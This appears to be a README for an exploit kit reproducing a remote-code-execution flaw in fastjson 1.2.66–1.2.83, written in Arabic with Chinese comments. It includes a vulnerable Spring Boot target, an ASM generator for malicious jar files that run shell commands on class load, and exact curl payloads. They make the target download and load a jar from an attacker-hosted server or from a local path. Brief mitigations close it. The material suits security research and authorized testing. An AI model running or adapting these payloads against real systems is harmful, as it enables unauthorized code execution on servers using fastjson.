
يستنسخ ثغرة RCE في fastjson 1.2.83 عبر @JSONType مع هدف Spring Boot هشّ ومولّد حمولة قائم على ASM باستخدام سلاسل jar عبر بروتوكول HTTP أو file.
@JSONType
مشروع إعادة إنتاج لتحميل الفئات عن بُعد / تنفيذ الأوامر في fastjson 1.2.66 ~ 1.2.83 عبر تعليمة @JSONType + اسم الفئة غير القانوني + بروتوكول jar:.
⚠️ إخلاء مسؤولية
هذا المشروع مخصّص للبحث الأمني وإعادة إنتاج الثغرات والاختبار المصرّح به فقط. يُحظر تمامًا استخدامه على أي أنظمة غير مصرّح بها أو في هجمات غير قانونية أو لأغراض ضارّة. يتحمّل المستخدم المسؤولية الكاملة عن أفعاله، ولا يتحمّل المؤلف أي مسؤولية قانونية عن أي إساءة استخدام.
المقال المرجعي لتحليل الثغرة: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
يوفّر هذا المشروع بيئة كاملة لإعادة إنتاج ثغرة fastjson 1.2.83 حول CVE-2026-16723، وتشمل:
demo/ — تطبيق ويب Spring Boot 2.7.18 يحتوي على الثغرة (يعتمد على fastjson 1.2.83)، ويُعرّض واجهة POST /parse التي تستدعي مباشرةً JSON.parse(json)؛exp/ — مولّد حزمة jar البروب الخبيثة المعتمد على ASM (بنمطين: بروتوكول HTTP / بروتوكول FILE)؛环境/ — ثلاث حزم FatJar مُجمّعة مسبقًا لخوادم التطبيقات (Tomcat / Jetty / Undertow)، جاهزة للاستخدام فورًا.الفكرة الأساسية للاستغلال: عبر بناء JSON خاص يجعل @type عنوان jar URL، ندفع fastjson إلى مسار الثقة لتعليمة @JSONType ← getResourceAsStream لتنزيل jar من بُعد/محلي ← defineClass لتحميل الفئة الخبيثة ← تهيئة الفئة تُطلق <clinit> ← تنفيذ أوامر عشوائية (RCE).
| البند | التفاصيل |
|---|---|
| CVE | CVE-2026-16723 |
| المكوّن | Alibaba fastjson |
| الإصدارات المتأثرة | 1.2.66 ~ 1.2.83 (آخر إصدار في سلسلة 1.x ما زال متأثرًا) |
| نوع الثغرة | تنفيذ أوامر عن بُعد عبر إلغاء التسلسل (RCE) |
| نقطة الدخول | JSON.parse(json) / JSON.parseObject(json) (دون تحديد نوع معيّن) |
| الشروط المسبقة | الهدف يعمل بنمط Spring Boot FatJar على JDK 8 مع تعطيل safeMode |
JSON.parse(json) أو JSON.parseObject(json) لتحليل مدخلات غير موثوقة مباشرةً، مع إصدار fastjson ضمن 1.2.66 ~ 1.2.83 و safeMode غير مفعّل؛java -jar مع LaunchedURLClassLoader، ولا يحتفظ بقدرة التراجع لمعالج بروتوكول jar: إلا في Spring Boot ≤ 2.7)؛defineClass خطأ ClassFormatError، ولا يمكن عندها سوى استغلال SSRF على الأكثر)؛عندما تصادف الدالة checkAutoType في fastjson فئةً تحمل تعليمة @JSONType، تدخل إلى مسار الثقة، فتتجاوز معظم فحوصات القائمة السوداء وتسمح بتحميلها. يستغلّ هذا المشروع هذه النقطة عبر كتابة البايت كود مباشرةً باستخدام ASM، بإدراج اسم فئة داخلية غير قانوني في this_class داخل تجمّع الثوابت الخاص بالفئة، لتتوافق الأسماء الثلاثة تمامًا:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
بنية الفئة الخبيثة:
@JSONType — مفتاح فتح مسار الثقة في checkAutoType الخاص بـ fastjson؛<init>()V — يضمن قدرة fastjson على إنشاء مثيل بشكل طبيعي؛<clinit> — تُنفَّذ فور تهيئة الفئة أثناء تحميلها جملة Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"})، مما يحقّق تنفيذ الأوامر.لا يمكن كتابة اسم الفئة غير القانوني باستخدام
javac، ولا يستطيع كتابة عنوان URL مباشرةً في تجمّع الثوابت سوى ASM — وهذا هو السبب الذي يجعل مولّد هذا المشروع يعتمد علىasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
يجب تشغيل بيئة الاختبار على JDK 8 (بما يتوافق مع شروط الاستغلال).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
بعد التشغيل، عنوان الواجهة هو: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — منفذ استضافة HTTP لحزمة jar الخبيثةopen -a Calculator — الأمر المطلوب تنفيذه على الجهاز الهدف (يفتح الحاسبة في macOS؛ وفي Linux يمكن استخدام id > /tmp/pwned 2>&1 للتحقق من وجود الملف)يولّد المولّد افتراضيًا ملفًا باسم x (بدون امتداد)، يحتوي داخليًا على y.class، والحمولة (payload) هي:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
تأكد من تشغيل
python3 -m http.serverداخل المجلد الذي وُلد فيه الملفx.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
نتيجة تنفيذ الأمر لن تظهر في استجابة HTTP، بل يجب التحقق على الجهاز الهدف نفسه:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
نطاق الاستخدام: عندما يكون الهدف غير قادر على الوصول إلى منفذ HTTP الخاص بجهاز المهاجم (عزل الشبكة الداخلية / تقييد الاتصالات الصادرة)، لكن يمكن وضع ملف jar على نظام ملفات الجهاز الهدف.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
يحسب المولّد عنوان jar:file: URL استنادًا إلى المجلد الحالي (يُستبدل فاصل المسار / بعلامة .)، فمثلًا عند التوليد داخل /tmp/project/exp تكون الحمولة (payload) كالتالي:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
ارفع/انسخ الملف المولّد y إلى المسار المطلق المطابق لـ @type على الجهاز الهدف (مثل /tmp/project/exp/y)، مع الحفاظ على تطابق بنية المجلدات.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
ملاحظة: يجب أن يتطابق مسار سلسلة بروتوكول FILE تمامًا مع مسار الملف الفعلي على الجهاز الهدف، وإلا فسيفشل استطلاع المورد ويتعذّر تشغيل التحميل.
| المعامل | القيمة الافتراضية | الوصف |
|---|---|---|
port | 19090 | منفذ استضافة حزمة jar الخبيثة |
cmd | id > /tmp/pwned 2>&1 | الأمر المنفَّذ على الجهاز الهدف |
hostToken | 2130706433 | عنوان IP الذي يتصل به الهدف بصيغة عدد صحيح (127.0.0.1) |
entry | y | اسم إدخال class داخل حزمة jar |
outFile | x | اسم ملف jar المولَّد (بدون امتداد) |
| المعامل | القيمة الافتراضية | الوصف |
|---|---|---|
port | 19090 | معامل محجوز (سلسلة FILE لا تستخدم منفذًا) |
cmd | id > /tmp/pwned 2>&1 | الأمر المنفَّذ على الجهاز الهدف |
dir | المجلد الحالي | مجلد jar على الجهاز الهدف (لتوليد عنوان jar:file: URL) |
entry | x | اسم إدخال class داخل حزمة jar |
outFile | y | اسم ملف jar المولَّد (بدون امتداد) |
القيمة 2130706433 هي تمثيل 127.0.0.1 كعدد صحيح غير موقّع 32-بت؛ وكتابة العنوان كعدد صحيح تتجنّب كسر النقطة . في عنوان IP بسبب منطق الاستبدال . ← / في fastjson. أما إذا لم يكن جهاز المهاجم هو الجهاز المحلي:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...يشير هذا إلى أن حزمة jar قابلة للتنزيل (تحقّق SSRF)، لكن TypeUtils.loadClass أرجع null. ولا يكاد يكون السبب إلا أحد أمرين:
@JSONType — لم يتجاوز الفحص مسار الثقة، ولم تصل إلى loadClass أصلًا؛@type — اسم الفئة في defineClass لا يطابق الواقع، فيفشل التحميل.يعالج مولّد هذا المشروع هاتين النقطتين في الوقت نفسه: تعليمة @JSONType + محاذاة الأسماء الثلاثة.
إذا لم يكن ClassLoader الخاص بالهدف هو LaunchedURLClassLoader (مثل التشغيل المباشر من IDE، أو حزمة war عادية، أو Spring Boot 3.x)، فلن تحقق سلسلة jar:http بإرسالٍ واحد RCE، وأقصى ما يمكن هو التحقق من SSRF فقط.
في JDK 9+، يكون فحص الأسماء غير القانونية للفئات في defineClass أكثر صرامة، إذ يُلقى خطأ ClassFormatError، فتنقطع السلسلة في مرحلة التحميل.
ParserConfig.getGlobalInstance().setSafeMode(true); تعطيل autoType تمامًا؛JSON.parse(json) / JSON.parseObject(json) مباشرةً على مدخلات المستخدم، وفضّل استخدام JSON.parseObject(json, Xxx.class) لتحديد النوع المستهدف صراحةً؛ParserConfig.addAccept(...)؛@type عبر WAF.إذا كان هذا المشروع مفيدًا لك، فنرحّب بمنحه ⭐ نجمة (Star) دعمًا للبحث الأمني وتوثيق الثغرات.
⚠️ يُرجى استخدامه للاختبارات المصرّح بها فقط، وممنوع منعًا باتًا استخدامه لأغراض غير قانونية!